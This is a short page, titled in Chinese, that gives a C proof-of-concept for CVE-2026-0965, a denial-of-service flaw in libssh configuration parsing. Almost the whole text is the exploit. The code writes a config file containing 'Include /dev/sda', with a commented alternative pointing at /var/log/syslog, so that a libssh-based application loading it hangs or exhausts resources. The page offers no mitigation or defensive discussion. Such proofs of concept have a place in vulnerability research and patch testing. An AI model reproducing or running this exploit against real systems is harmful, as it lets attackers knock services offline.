CVE-2026-0965 libssh配置解析DoS漏洞

/* * PoC for CVE-2026-0965: libssh Arbitrary File Open DoS * Description: Create a malicious configuration file pointing to a blocking device. * Usage: Point libssh based application to load this config file. */ #include <stdio.h> void generate_malicious_config() { FILE *fp = fopen("malicious_config", "w"); if (!fp) return; // Attempt to force libssh to open a block device causing a hang fprintf(fp, "Include /dev/sda\n"); // Or a large file causing resource exhaustion // fprintf(fp, "IdentityFile /var/log/syslog\n"); fclose(fp); printf("Malicious config file 'malicious_config' generated.\n"); printf("Trigger: Application loading this config may hang or crash.\n"); } int main() { generate_malicious_config(); return 0; }